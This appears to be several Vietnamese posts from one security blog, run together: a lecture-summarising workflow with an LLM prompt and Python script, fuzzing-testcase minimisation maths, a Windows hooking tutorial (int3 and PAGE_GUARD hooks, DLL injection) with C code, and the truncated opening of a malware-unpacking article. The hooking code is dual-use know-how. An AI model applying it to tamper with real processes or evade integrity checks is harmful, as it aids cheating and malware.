Tôi gần đây có tham dự một số lớp học buổi tối sau giờ làm việc. Việc học mấy tiếng buổi tối quả thật rất tốn sức. Do đó, nếu một công cụ giúp tôi tóm tắt bài học để có thể tra lại sau khi học thì quả là tuyệt vời. Lúc này, tôi nghĩ ngay đến việc dùng AI để tóm tắt bài học, tra cứu video khi cần và cần biết chính xác thời điểm tương ứng với bài học để tôi có thể seek đến chính xác vị trí và xem chính xác nội dung cần tham khảo.

Cần chuẩn bị những gì?

Để làm một “task” liên quan tới AI thì cần chuẩn bị 2 thứ:

• 80% ở Data Engineering (chuẩn bị dữ liệu đầu vào).
• 20% ở Prompt Engineering (viết prompt hợp lý).

Data engineering

• Tải toàn bộ video về: Task này hoàn toàn không khó gì, kể cả với các video “private”, cần một chút mẹo với trình duyệt là đủ.
• Tách audio từ video: task này cần một lệnh đơn giản với công cụ miễn phí, mã nguồn mở ffmpeg
• Chuyển đổi audio sang text: OpenAI đã release một model khá ổn cho việc này, có tên là whisper: Robust Speech Recognition via Large-Scale Weak Supervision. Điểm tuyệt vời của model này là miễn phí, hoàn toàn có thể chạy với các GPU phổ thông, cần VRAM khá ít (model large chỉ cần 10 GB VRAM). Vì video của tôi là bài giảng của một giảng viên nói tiếng Việt nên tôi chọn model này. Model hoạt động trên máy tính cá nhân của tôi (CPU Ryzen 3900X, 64GB RAM, GPU 4060Ti 16GB VRAM) với tốc độ khá tốt: transcript audio dài 3 giờ tốn khoảng 30 phút. Với ngôn ngữ tiếng Việt, tôi chọn model large (https://github.com/openai/whisper?tab=readme-ov-file#available-models-and-languages)

Với các transcript tiếng Anh, hoàn toàn có thể chọn model có kích thước nhỏ hơn (medium hoặc small) để tăng tốc độ.

Sau bước này, chúng ta sẽ có một file text chứa toàn bộ transcript của video.

Prompt engineering

Đây là 20% còn lại của task. Hầu hết chúng ta đang kỳ vọng quá nhiều vào AI, mong muốn nó phải biết hết và đưa cho mình một câu trả lời toàn diện, có chiều sâu. Đáp lại kỳ vọng này lại là một kết quả chung chung, đọc qua thì có vẻ “hợp lý”, nhưng thực thế lại thiếu chiều sâu và không có nhiều tác dụng.

Đối với tôi, model AI nào không quan trọng, vì khi dùng prompt đúng thì kết quả đầu ra tương đương nhau. Tuy nhiên, tôi khá thích các model mới như Claude sonnet 4.5 (Anthropic), ChatGPT-5 (OpenAI). Gemini 2.5 Pro (Google) cho kết quả cũng không tệ. Nếu đổi sang dùng DeepSeek thì chất lượng hơi giảm so với đánh giá của tôi, nhưng tôi cho rằng chấp nhận được. Một điểm quan tâm của tôi là giá thành. Các model AI cho kết quả tương đương thì chúng ta cứ chọn loại rẻ thôi.

Vấn đề chính nằm ở chỗ “chúng ta đặt câu hỏi cho AI thế nào?” . Mặc dù AI không thể thay thế con người, nhưng chỉ bằng cách tối ưu prompt cho AI, chúng ta sẽ giúp AI trả lời tốt hơn.

Chúng ta có thể sử dụng công thức sau cho việc viết prompt cho AI, tạm gọi là công thức C.O.R.G.I.C.E:

• Context (Bối cảnh): Nói rõ đầu vào, hoàn cảnh, ngôn ngữ, cấu trúc dữ liệu sẵn có.
• Output format: Khuôn mẫu đầu ra
• Role (Vai trò): Nhập vai để xác định phong cách. Đây là một phương pháp cho phép AI tương tác và tạo câu trả lời đúng với yêu cầu định ra.
• Goal (Mục tiêu): Kết quả cần đạt, giá trị cốt lõi của câu trả lời.
• Instruction/Requirements (Hướng dẫn): Đây là phần hướng dẫn chi tiết cách làm cụ thể cách làm cụ thể để AI biết cần làm từng bước nào.
• Constraints (Ràng buộc): Ràng buộc cứng cần tuân thủ. Đây là các “luật cấm” và ưu tiên định dạng. Có thể thêm các luật mô tả để AI chống “bịa” trong câu trả lời (“Do NOT invent”, “No hallucinations”, “No Yapping”,…)
• Examples (Ví dụ): minh họa để mô hình hiểu định dạng của dữ liệu.

Ví dụ cụ thể

Quay trở lại vấn đề của tôi, từ công thức viết prompt trên, chúng ta có thể xây dựng một yêu cầu đầy đủ cho AI thực hiện như sau:

Context (Bối cảnh)

You are given a full transcript of an online lecture converted from video or audio. Each line follows this structure:

[START -> END] Utterance text

Example transcript lines:

1
2
[8.44s -> 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -> 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.

Additional Context:

• Instructor: Instructor’s name
• Transcript file: path_to_transcript.txt
• Note: Replace “Executive Summary” with “Tóm tắt các ý trọng tâm”.

Output Format

Return the final result only in the following Markdown structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# [Lesson Title]  
- Instructor: [name or “not stated”]  
- Session date/time: [if stated] • Total speaking time (approx.): ~HH:MM:SS  
- Main objective(s): …  
- Prerequisites mentioned: …  

## Tóm tắt các ý trọng tâm (Executive Summary)
- 5–8 bullet points capturing the main takeaways.

## Table of Contents by Time
1. [hh:mm–hh:mm] Topic/Section — one-line gist  
2. [hh:mm–hh:mm] Topic/Section — one-line gist  
…

## Detailed Outline (time-anchored)
### [hh:mm–hh:mm] Section Title
- Key ideas:  
  - …
  - …
- Important definitions/frameworks:  
  - Term — short definition.
- Examples/demos/case studies:  
  - …
- Teacher’s guidance (tips, cautions, rules of thumb):  
  - …
- If relevant: equations/steps/checklists shown or described.
- Slide cues (if explicitly referenced): “Slide mentions …” [no fabrication]

## Methods / Systems Explained
- Name (e.g., “The Turtle system”): purpose, components, when/why to use, pros/cons, constraints, assumptions.

## Pros & Cons / Comparisons (if discussed)
- …

## Q&A / Misconceptions Addressed
- Question → concise answer [timestamp].  
- …

## Assignments / Action Items / Next Steps
- Practice items, deadlines, submissions, or readings.

## Resources Mentioned
- Books, articles, websites, datasets, code, or slide references (only if mentioned in transcript).

## Glossary of Terms (brief)
- Term: short definition.

## Key Quotes (optional, ≤5)
- “[translated quote]” — [timestamp]

Role (Vai trò)

You are an expert lecture summarizer. Your expertise lies in producing faithful, structured, timestamp-anchored summaries of academic or professional lectures.

Goal (Mục tiêu)

Create a complete, accurate, and time-organized summary that helps learners quickly review the lesson content without hallucination or redundancy. Your summary should:

• Capture definitions, frameworks, formulas, examples, teacher’s advice, and cautions.
• Structure content by topics/segments with clear timestamps.
• Be concise but comprehensive, and written in clear, natural Vietnamese.

Instructions (Hướng dẫn cụ thể)

1) Use only transcript content. Do NOT invent slides, examples, or data not present in the text.

2) If unclear, write [unclear] instead of guessing.

3) Translate any quoted phrases into natural Vietnamese.

4) Remove filler talk (greetings, ums, repetition). Keep logistics only if they include instructions, deadlines, or assignments.

5) Merge short lines that share the same topic into a single summarized segment.

6) Normalize all times to the format hh:mm:ss.

7) Anchor each topic section with timestamps ([hh:mm–hh:mm]).

8) Use bullet points instead of long paragraphs.

9) Avoid repeating ideas or writing generic comments.

10) Respect the Markdown format strictly.

Constraints (Ràng buộc)

• Faithfulness: No hallucinations or assumptions. Everything must come directly from the transcript.
• Language: Final output must be written in Vietnamese.
• Format: Return only the Markdown summary.
• Completeness: Ensure all important parts of the lecture (definitions, examples, teacher’s comments, assignments) are covered.
• Clarity: Prefer brevity, logical order, and topic segmentation.

Examples (Ví dụ minh họa)

Input snippet:

1
2
3
[8.44s -> 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -> 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
[16.10s -> 22.45s]  Hôm nay chúng ta sẽ học về khái niệm “marketing funnel” và cách ứng dụng nó trong chiến lược nội dung.

Output snippet (Markdown):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Marketing Funnel Overview  
- Instructor: Not stated  
- Session date/time: Not stated • Total speaking time: ~00:22:45  
- Main objectives: Understand the concept of the marketing funnel and its application in content strategy.

## Tóm tắt các ý trọng tâm
- The class begins with an overview of “marketing funnel.”  
- The instructor explains its stages and relevance to content planning.  
- Students are guided to apply the concept in practical scenarios.


✅ Final Reminder:
Return only the formatted Markdown summary as specified.
Do not include explanations, raw transcript, or additional commentary.

Tóm tắt một video

Bước này có khá nhiều cách để làm:

• Nếu bạn có sẵn tài khoản ChatGPT-plus trở lên và muốn dùng AI này, thì có thể tạo một custom gpt. System prompt chính là đoạn prompt trên.
• Trường hợp chúng ta muốn sử dụng ChatGPT bản thường (free) trở lên, không muốn tạo custom gpt, có thể lưu prompt phía trên thành một file, đặt tên là instructions.md và transcript sẽ lưu thành file transcript.txt. Với 2 file này, ChatGPT sẽ biết phải xử lý thế nào.
• Nếu đã quen với vscode, chúng ta hoàn toàn có thể thêm vào vscode một chế độ mới, để có thể thực hiện công việc này.
• Trường hợp chúng ta muốn mọi thứ trông giống lập trình viên hơn, có thể dùng đoạn code sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Dependencies: openai python-dotenv

import os
import argparse
from openai import OpenAI
from dotenv import load_dotenv
from datetime import datetime

# Load environment variables from .env file
load_dotenv()

selected_model = "openai/gpt-5"
input_token_price = 1.5/1000  # Example price per 1K tokens for the selected model
output_token_price = 10/1000  # Example price per 1K tokens for the selected model

system_prompt = open("system_prompt.txt", "r", encoding='utf-8').read()

def summarize_text(client, text_content, model=selected_model, temperature=0.7):
    """
    Summarizes the given text using the specified model.
    """

    try:
        response = client.chat.completions.create(
            model=model,
            messages=[
                {"role": "system", "content": system_prompt},
                {"role": "user", "content": text_content}
            ],
            temperature=temperature,
        )
        summary = response.choices[0].message.content
        usage = response.usage
        return summary, usage
    except Exception as e:
        print(f"An error occurred: {e}")
        return None, None

def main():
    parser = argparse.ArgumentParser(description="Summarize text file using AI.")
    parser.add_argument("input_file", type=str, help="Path to the transcript .txt file.")
    parser.add_argument("output_file", type=str, help="Path to the output file.")
    args = parser.parse_args()

    input_file = args.input_file
    output_file = args.output_file

    # It's recommended to set the API key in an environment variable `API_KEY`
    api_key = os.getenv("API_KEY")
    if not api_key:
        print("Error: API_KEY environment variable not set.")
        print("Please create a .env file and add API_KEY='your_key_here'")
        return
    base_url = os.getenv("BASE_URL", "https://openrouter.ai/api/v1") # set OpenAI key/openrouter

    client = OpenAI(
        base_url=base_url,
        api_key=api_key,
    )
    with open(input_file, 'r', encoding='utf-8') as f:
        print(f"Processing file: {input_file}")
        content = f.read()
        summary, usage = summarize_text(client, content)
        if summary and usage:
            with open(output_file, 'w', encoding='utf-8') as f:
                f.write(summary)
                print(f"Successfully summarized and saved to {output_file}")
            # Calculate cost (example pricing, replace with actual if known)
            prompt_cost = (usage.prompt_tokens / 1000) * input_token_price
            completion_cost = (usage.completion_tokens / 1000) * output_token_price
            total_cost = prompt_cost + completion_cost
            print(f"{datetime.now().strftime('%y-%m-%d %a %H:%M:%S')} File: {input_file}, Tokens: {usage.total_tokens}, Cost: ${total_cost:.6f}\n")


if __name__ == "__main__":
    main()

Thực hành với một video bất kỳ

Tôi chọn ngẫu nhiên một video nào đó: Impostor Syndrome - Hacking Apple MDMs Using Rogue Device Enrolments. Đây là bài trình bày của kỹ sư bảo mật Marcell Molnár.

Sau khi tải transcript về (rất tuyệt là youtube có luôn tính năng này), tôi thử tóm tắt toàn bộ video, bằng Claude sonnet 4.5, và kết quả khá mĩ mãn.

1
2
3
4
5
Context Length	30.2k / 1.0m
Tokens	↑ 66.4k  ↓ 6.8k
Cache	36.8k
API Cost	$0.22
Size	61.7 kB

Đây là kết quả

Bảo mật macOS MDM: Lỗ hổng enrollment dựa trên serial number

Kết luận

Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với cách viết prompt cho AI. AI rất thông minh, nhưng nếu dùng đúng prompt thì AI vừa thông minh vừa được việc. Chúc các bạn thành công./.

Tôi đã từng có một thời gian dài làm việc trong lĩnh vực tìm và phát hiện lỗ hổng phần mềm, cái nghề được gọi với cái tên khá lạ tai: vulnerability researcher. Công việc này đòi hỏi khá nhiều kỹ năng máy tính chuyên sâu. Trong bài viết này, tôi sẽ mô tả cách tôi sử dụng toán để tối ưu các testcase khi nghiên cứu các lỗ hổng. Tôi đã ứng dụng thuật toán này trong khá nhiều case khác nhau, đặc biệt là khi tôi phát hiện lỗ hổng CVE-2019-1208 | VBScript Remote Code Execution Vulnerability.

Cần lưu ý rằng:

• Tôi có một hệ thống sinh testcase tự động với thuật toán khá đặc biệt của tôi. Tôi sẽ không trình bày nó ở đây.
• Khái niệm đoạn mã có thể bao gồm 1 dòng cho tới k dòng.
• Thuật toán này sinh ra các đoạn mã có xác suất gây lỗi cho chương trình.
• Các đoạn mã sinh ra không phụ thuộc vào nhau. Xác suất một dòng code gây lỗi (crash) độc lập với các dòng khác. Đây là điều kiện quan trọng.

Vấn đề gặp phải

Trong quá trình tìm và phân tích mã, tôi gặp các vấn đề như sau:

• Số lượng testcase: Con số này không phải là 1 hoặc 2 để tôi có thể làm bằng tay.
• Thời gian thực thi 1 testcase lâu.
• Thời gian phân tích 1 testcase rất lâu khi phân tích bằng tay.
  • Kích thước một testcase lớn (≈ hàng nghìn đoạn mã)

Tôi biết chắc chắn đã tìm ra lỗ hổng nhưng

• Cụ thể là đoạn mã nào gây lỗi thì tôi không thể biết.
• Tôi hạn chế về mặt thời gian do tôi phải thực hiện dự án khác của công ty, không thể để 100% thời gian cho lỗ hổng này.
• Tôi phải chạy đua với các researcher khác.

Tôi mong muốn có 1 hệ thống:

• Tự động sinh testcase và tìm lỗi (Đã có)
• Tự động tối ưu testcase và phân tích lỗi (Cần xây dựng)
• Tự động phân tích lỗi, điền form cần thiết, đánh giá các khả năng khai thác và độ nguy hiểm.

Dựa vào tất cả các mong muốn trên, tôi nghĩ đến một phương pháp để tối ưu testcase tự động, tốc độ cao và chính xác. Tôi nhớ đến các bài toán về xác suất đã được dạy khi đi học.

Một số điểm cần lưu ý:

• Xác định 2 testcase trùng nhau
• Xác định số tối ưu khi thực hiện.

Các testcase được tính là trùng nhau khi:

• Trạng thái crash tại cùng địa chỉ EIP/RIP
• Trạng thái Stack của chương trình khi crash trùng nhau
• Một số giá trị của thanh ghi trùng nhau

Giả sử: Các đoạn code không có sự liên hệ với nhau trong quá trình thực thi

Nên: Xác suất một đoạn code gây crash độc lập với các đoạn khác.

Đây là giả thiết của tôi. Giả thiết này của tôi luôn đúng do tôi tự sinh các testcase và kiểm soát được đầu ra của chúng.

Ta có phương pháp tối ưu testcase đơn giản, thông qua 3 bước sau:

• Xóa bỏ lần lượt các đoạn trong testcase ban đầu nhằm sinh testcase mới
• Test thử với chương trình
• Chỉ giữ lại các testcase có kích thước nhỏ, trùng với testcase ban đầu

Cần phải xóa bao nhiêu đoạn trong testcase?

• Số đoạn xóa đi phải đủ nhỏ để xác suất có testcase trùng là cao nhất. Hiển nhiên rằng nếu các bạn xóa càng ít đoạn, thì xác suất xóa phải đoạn không liên quan càng cao, testcase càng có xác suất lớn để trùng.
• Số đoạn xóa đi phải đủ lớn để giảm thời gian tối ưu. Hiển nhiên rằng nếu càng xóa nhiều đoạn, testcase càng nhỏ.

Con số bao nhiêu là hợp lý????

Giả sử cắt bỏ x đoạn mã trong testcase ban đầu (có N đoạn mã):

Xác suất để cắt bỏ 1 đoạn mã nhưng vẫn được testcase trùng ≈ 100%

Xác suất cắt bỏ đoạn mã thứ 2 nhưng vẫn được testcase trùng (1 – 1/N)

Xác suất cắt bỏ đoạn mã thứ 3 nhưng vẫn được testcase trùng (1 – 2/N)

…

Xác suất cắt bỏ đoạn mã thứ x nhưng vẫn được testcase trùng (1 – (x-1)/N)

Xác suất để cắt bỏ x đoạn mã nhưng vẫn được testcase trùng

Rõ ràng, đây là một phương trình khá khó giải và tôi cũng không phải người giỏi toán để đưa ra đáp án chính xác. Chúng ta lại dùng các công thức ước lượng được mô tả trong sách giáo khoa: Công thức xấp xỉ Taylor

Tiếp tục:

Nói cách khác, với N là số đoạn code, p là xác suất được lựa chọn, thì chúng ta có x là số đoạn code cần chọn ngẫu nhiên để testcase mới trùng với testcase cũ.

Nếu chúng ta giả định p = 0.5 = 50%, thay thế vào công thức tính xác suất ban đầu, ta có được công thức cuối cùng:

hay nói cách khác, x xấp xỉ bằng 1.17741*sqrt(N), có thể coi là sqrt(N).

Như vậy, nếu chúng ta cắt đi sqrt(N) đoạn mã trong N đoạn mã, thì xác suất xảy ra testcase trùng sẽ lớn hơn 50%. Độ phức tạp thuật toán là O(n). Do số lượng đoạn được cắt đi lớn khi N lớn, tốc độ hội tụ của thuật toán này được cải thiện đáng kể so với việc tối ưu tuần tự. Một kết luận rất ngắn và đơn giản phải không?

Nếu chúng ta chọn N là 3000 đoạn mã.

Trục Y là số đoạn mã được loại bỏ.

Trục X là xác suất xảy ra trùng nhau

Kết luận

Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với môn toán cũng như phương pháp ứng dụng các bài toán “ngày xửa ngày xưa” vào các vấn đề trong công việc hiện tại. Nét đẹp của toán học sẽ chỉ phát huy khi chúng được đặt vào đúng tình huống cụ thể. Đừng để các bài toán của các bạn chỉ nằm trên giấy./.

Xin chào tất cả các bạn độc giả thân mến!

Tôi viết bài viết này với mong muốn có thể đóng góp một chút công sức của mình cho cộng đồng an toàn thông tin Việt Nam. Tôi cũng mong muốn các bạn có thể đóng góp cho cộng đồng giống như tôi, nhưng bằng vật chất: Quỹ Cơm có thịt http://tnvc.vn/ đang cần sự giúp đỡ của cộng đồng hơn ai hết. Số tiền ủng hộ từ bài viết trước đã đủ cho develbranch.com duy trì mọi thứ trong năm. Quỹ cơm có thịt cần nhiều hơn develbranch. Đúng như tên gọi của nó, Cơm có thịt đem đến niềm vui, hạnh phúc với các em nhỏ vùng cao ngoan hiền, đang sống ở những nơi nghèo khó, bằng những đóng góp nho nhỏ - ít thôi nhưng đều đặn. Tôi rất thích câu nói này của ông Trần Đăng Tuấn: “Nếu bạn đồng hành cùng Cơm Có Thịt, thì đó chỉ là do mệnh lệnh từ trái tim của bạn”. Nếu có thể được, tôi mong các bạn hãy ủng hộ trực tiếp cho Quỹ (đừng trung gian qua tôi).

Giới thiệu

Hooking có lẽ không còn xa lạ với nhiều người làm trong lĩnh vực phần mềm nói chung và an toàn thông tin nói riêng. Hiểu theo cách đơn giản: Hooking là một phương pháp, hoặc 1 cách làm thay đổi luồng hoạt động của chương trình. Mục đích của việc thay đổi này có thể để ghi log, đánh dấu luồng hoạt động hoặc kiểm soát input cũng như output của một hàm, một đoạn mã hoặc một lệnh bất kì trong chương trình.

Trong bài viết này, tôi sẽ viết về kĩ thuật hooking trên nền tảng Microsoft Windows.

Ví dụ: Chúng ta có một hàm đơn giản sau: Hàm này làm nhiệm vụ cộng 2 số.

1
2
3
int add(int a, int b) {
	return a + b;
}

Khi biên dịch ra mã máy, mã chương trình có thể giống như sau (các mã khác nhau phụ thuộc nhiều vào trình biên dịch). Trong ví dụ này, tôi giả định tôi biên dịch chương trình bằng trình biên dịch 32bit:

Nếu biên dịch tối ưu, có thể viết như sau:

1
2
3
mov  eax, dword ptr [esp + 4] ;  first parameter
add  eax, dword ptr [esp + 8] ;  second parameter
ret

Hoặc tường minh hơn, chúng ta viết:

1
2
3
4
5
6
7
0| mov  edi, edi
1| push ebp 
2| mov  ebp, esp
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret

Tình huống 1: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 2.

Tình huống 2: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 5

Phương pháp hook thường thấy nhất là chúng ta sẽ thiết lập 1 lệnh nhảy không điều kiện (JMP) tới đoạn code chứa các lệnh kiểm tra. Sau khi thực hiện xong đoạn code mới này, chúng ta sẽ thực hiện nhảy không điều kiện 1 lần nữa về đoạn code ban đầu.

Tình huống 1: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input: Đoạn code trên cần bị thay đổi thành đoạn code dưới đây

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0| jmp  CHECKING_PARAMETER
3| ADD_NUMBERS:
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
7|
8| CHECKING_PARAMETER:
   ;; kiểm tra nội dung 2 tham số ở đây
   ;  Thực thi các lệnh ban đầu, giống như chưa bị Hook
   mov  edi, edi
   push ebp 
   mov  ebp, esp
9| jmp ADD_NUMBERS

Tình huống 2: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output:

1
2
3
4
5
6
7
8
9
10
11
12
13
 0| mov  edi, edi
 1| push ebp 
 2| mov  ebp, esp
 3| mov  eax, dword ptr [ebp +  8] ;  first parameter
 4| add  eax, dword ptr [ebp + 12] ;  second parameter
 5| pop  ebp
 6| JMP  CHECK_RESULT 
 7|
 8|
 9| CHECK_RESULT:
10| ;; Kiểm tra dữ kiệu trả về ( Nội dung thanh ghi eax )
    ;; Thực thi các lệnh ban đầu, giống như chưa bị Hook
11|	ret

Rõ ràng, trong cả hai tình huống trên, chúng ta cần thay đổi đáng kể đoạn code ban đầu, để có thể thêm các lệnh nhảy không điều kiện nhằm chuyển hướng thực thi và làm nhiệm vụ mà chúng ta cần. Câu hỏi đặt ra:

• Nếu đoạn code quá nhỏ, không đủ cho một lệnh JMP thì sao?
• Trong trường hợp đoạn code bị kiểm tra để phát hiện sự thay đổi thì sao? Ví dụ đoạn code bị check CRC liên tục?

Để giải quyết hai vấn đề này, tôi sẽ trình bày hai phương pháp dưới đây.

Breakpoint hooking

Đối với các đoạn code nhỏ, ví dụ các block code chỉ có 1 tới 4 bytes, chúng ta không có đủ chỗ cho một lệnh nhảy. Một lệnh JMP không điều kiện cần 5 bytes. Chúng ta có thể nghĩ tới phương pháp Breakpoint hooking. Cách thức thực hiện như sau:

• Inject một DLL vào không gian bộ nhớ của tiến trình.
• Cài đặt một Vector xử lý Exception (Exception handler)
• Chuyển hướng thực thi bên trong Exception handler
• Inject ngắt int3 (opcode là 0xCC, độ dài chỉ 1 byte) vào vị trí cần hook. Hoặc dùng các hàm sau để inject code: OpenProcess, VirtualProtectEx, WriteProcessMemory. Đây là các thao tác đơn giản, tôi xin dành cho bạn đọc.

Trong quá trình thực thi, khi thực thi đến lệnh int 3, hệ thống sẽ phát sinh ra exception. Mã của exception này là STATUS_BREAKPOINT. Bên trong hàm handler, chúng ta cần kiểm tra giá trị của thanh ghi EIP/RIP. Nếu giá trị này là hàm đang cần hook, chúng ta gán lại giá trị mới cho thanh ghi EIP/RIP. Sau khi thực thi xong, chúng ta cần khôi phục lại ngữ cảnh cũ: Nội dung các thanh ghi và thực thi lệnh cũ. Nên nhớ rằng trước khi patch int3, chúng ta phải lưu lại toàn bộ instruction cũ, để sau này còn dùng lại khi thực thi chương trình.

Hàm xử lý:

1
2
3
4
5
6
7
8
9
10
11
12
13
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
	{
		if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT) // This is going to return true whenever any of our int3 is executed.
		{
			DWORD dwNewLocation = GetNewLocation(pExceptionInfo->ContextRecord->Eip); // EIP contains the current location
			if (dwNewLocation != (DWORD_PTR)-1) // Here we check to see if the instruction pointer is at the place where we want to hook.
			{
				pExceptionInfo->ContextRecord->Eip = dwNewLocation;
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
		return EXCEPTION_CONTINUE_SEARCH;
	}

Cài đặt handler:

1
2
PVOID g_ExceptionHandle = NULL;
g_ExceptionHandle = AddVectoredExceptionHandler(1, HookExceptionFilter);

Remove Handler:

1
RemoveVectoredExceptionHandler(g_ExceptionHandle);

PageGuard Hooking

Đối với các đoạn code bị check CRC liên tục, chúng ta sẽ không được phép thay đổi một byte nào trong đoạn code gốc. Phương pháp này thực hiện như sau:

• Inject một DLL vào không gian bộ nhớ của tiến trình.
• Cài đặt một Vector xử lý Exception (Exception handler).
• Đổi thuộc tính của page chứa vùng code cần hook thành PAGE_GUARD hoặc PAGE_NOACCESS. Dùng VirtualProtect
• Chuyển hướng thực thi bên trong Exception handler

Bất khi nào code được thực thi trong vùng nhớ bị đánh dấu là PAGE_GUARD, hệ thống sẽ sinh ra một exception. Bên trong hàm kiểm tra Exception handler, chúng ta cần kiểm tra địa chỉ đang thực thi. Nếu địa chỉ đó là địa chỉ hàm cần hook, chúng ta chuyển hướng nó tới hàm đích.

Cần lưu ý:

1. Thuộc tính PAGE_GUARD sẽ tự động bị xóa khi phát sinh exception. Do đó để tiếp tục hook, chúng ta cần thiết lập lại thuộc tính này cho vùng nhớ đó.
2. Có thể dùng thuộc tính PAGE_NOACCESS. Hệ thống sẽ sinh STATUS_ACCESS_VIOLATION khi chúng ta thực thi đoạn code.
3. STATUS_SINGLE_STEP Đây không hẳn là một lỗi, để có thể coi là một exception. STATUS_SINGLE_STEP được sinh ra khi một lệnh được thực thi (giống như đang bị debug).

Tại sao chúng ta cần STATUS_SINGLE_STEP?

Một hàm sẽ nằm trong 1 page, nhưng điểm bắt đầu của hàm thì chưa hẳn là nằm ở đầu page. Trong trường hợp một đoạn code - không phải đoạn code cần hook - nhưng nằm cùng page với đoạn code cần hook thực thi, nó cũng sinh ra exception. Rõ ràng đây không phải là điều chúng ta mong muốn. Chúng ta cần là thiết lập lại thuộc tính PAGE_GUARD hoặc PAGE_NOACCESS như trước. Vấn đề lại tiếp tục xảy ra, đoạn code sinh exception liên tục nhưng không thực thi. Để giải quyết, chúng ta cần bật cờ STATUS_SINGLE_STEP. Lúc này, chương trình sẽ tiếp tục thực thi nhưng sẽ liên tục gọi vào hàm handler của chúng ta với mã của exception là STATUS_SINGLE_STEP. Chúng ta sẽ kiểm tra giá trị của thanh ghi EIP, nếu đúng hàm cần hook thì sẽ thiết lập thuộc tính PAGE_GUARD hoặc PAGE_NOACCESS như trước.

Code và hình vẽ tôi tham khảo ở https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
DWORD dwOld;
VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &dwOld); // This sets the protection for whatever memory page that 0x08048fb7 is located in to PAGE_EXECUTE & PAGE_GUARD.
                                                                          // Which is going to cause an exception for any address accessed in that memory page, including the one we're after.

AddVectoredExceptionHandler(1, HookExceptionFilter); // Registers our vectored exception handler which is going to catch the exceptions thrown.
 
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
{
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) // This is going to return true whenever any of our PAGE_GUARD'ed memory page is accessed.
    {
        if (pExceptionInfo->ContextRecord->Eip == 0x08048fb7) // Here we check to see if the instruction pointer is at the place where we want to hook.
        {
            dwJmpBack = (DWORD*)(pExceptionInfo->ContextRecord->Esp + 0); // Find the return address for the JMP/EIP back into the target program's code.
            dwJmpBack = (DWORD)pExceptionInfo->ContextRecord->Eip + 5; // or just skip X number of bytes.
            pExceptionInfo->ContextRecord->Eip = (DWORD)hkFunction; // Point EIP to hook handle.
        }
     
        pExceptionInfo->ContextRecord->EFlags |= 0x100; //Set single step flag, causing only one line of code to be executed and then throwing the STATUS_SINGLE_STEP exception.
     
        return EXCEPTION_CONTINUE_EXECUTION; // When we return to the page, it will no longer be PAGE_GUARD'ed, so we rely on single stepping to re-apply it. (If we re-applied it here, we'd never move forward.)
    }
     
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) // This is now going to return true on the next line of execution within our page, where we re-apply PAGE_GUARD and repeat.
    {
        DWORD dwOld;
        VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &dwOld);
     
        return EXCEPTION_CONTINUE_EXECUTION;
    }
     
    return EXCEPTION_CONTINUE_SEARCH;
}

Kết luận

Qua bài viết vừa rồi, tôi hi vọng rằng các bạn có thể thực hiện hook một số hàm đặc biệt các hàm có kích thước nhỏ, hoặc không thể hook tường minh:

• Xác định vị trí cần hook
• Cài đặt exception handle và đổi thanh ghi EIP/RIP thành địa chỉ mới.
• Inject ngắt 3 hoặc thay đổi thuộc tính của page thành PAGE_GUARD
• Xử lý chuyển hướng bên trong hàm handler

Introduction

I get this malware sample from my friend. I will show my experience with packers and manual unpacking. All about behaviors of malware, I will present in a new article.

1 minute for advertisement: If you have a similar sample, you may contact me by sending an email to contact[at]develbranch.com or my fanpage fb.com/develbranch. I will help you and charge in case of necessity. If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal

Environment

• Windows 7 64 bit virtual machine. You can use windows 10.
• Hex-Rays IDA: https://www.hex-rays.com/
• A debugger: I love x64dbg.
• C++ compiler: I use Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/
• CFF Explorer: Explorer Suite

Behavioral analysis

In all steps of malware analysis, we have to perform behavioral analysis to predict malicious actions partly. To do this, we need:

• The executable files of the malicious software and/or commands to run malicious code.
• Build exactly the environment where the malicious code will execute. For example: If the malicious code only runs on the windows server then you will never analyze the behavior if your environment is windows home.

We just have 4 files, no more clue, and we can not execute malware in our system. We need to guess by ourselves!

Detailed analysis

